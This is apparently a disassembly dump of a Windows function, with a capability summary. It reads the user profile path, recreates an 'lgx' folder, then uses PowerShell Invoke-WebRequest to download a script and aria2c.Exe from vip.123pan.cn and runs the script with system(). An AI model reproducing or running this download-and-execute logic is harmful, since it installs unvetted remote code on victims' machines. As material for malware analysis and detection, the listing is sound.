Function at 0x401560
Capabilities:
Check if file exists
Create directory
Delete file
Execute command
Get file attributes
Query environment variable

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x280
lea rbp, [rsp + 0x80]
call dbg.__main
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
lea rdx, [rbp + 0x70]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
lea rcx, str.USERPROFILE
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
mov dword [rbp + 0x1fc], eax
cmp dword [rbp + 0x1fc], 0
jne 0x4015fc
lea rdx, str.Error_getting_USERPROFILE_environment_variable.
mov rcx, qword [0x004bd370]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x40190a
lea rax, [rbp + 0x19e]
mov rcx, rax
call fcn.0046e500
lea rcx, [rbp + 0x19e]
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x170]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x170]
lea r8, str.lgx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp + 0x1f8], eax
cmp dword [rbp + 0x1f8], 0xffffffff
je 0x40172b
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov dword [rbp - 0x58], 3
mov word [rbp - 0x40], 0x614
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [rbp - 0x50], rax
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_SHFileOperationA]
call rax
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0
je 0x40172b
lea rdx, str.Error_deleting_existing_lgx_directory.
mov rcx, qword [0x004bd370]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4018fe
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
jne 0x401763
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
je 0x401763
mov eax, 1
jmp 0x401768
mov eax, 0
test al, al
je 0x401798
lea rdx, str.Error_creating_lgx_directory.
mov rcx, qword [0x004bd370]
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x4018fe
lea rax, [rbp + 0x19f]
mov rcx, rax
call fcn.0046e500
lea rdx, [rbp + 0x19f]
lea rax, [rbp + 0x20]
mov r8, rdx
lea rdx, str.powershell__Command__Invoke_WebRequest__Uri_https:__vip.123pan.cn_1814328088_gtx_vip1__OutFile
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x19f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x40]
lea r8, str.1.cmd_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x1a0]
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0x1cf]
mov rcx, rax
call fcn.0046e500
lea rdx, [rbp + 0x1cf]
mov rax, rbp
mov r8, rdx
lea rdx, str.powershell__Command__Invoke_WebRequest__Uri_https:__vip.123pan.cn_1814328088_gtx_aria2c.Exe__OutFile
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x40]
lea r8, str._aria2c.Exe_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x1d0]
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x40]
lea r8, str.1.cmd
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
mov ebx, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x4019de
add rsp, 0x280
pop rbx
pop rdi
pop rbp
ret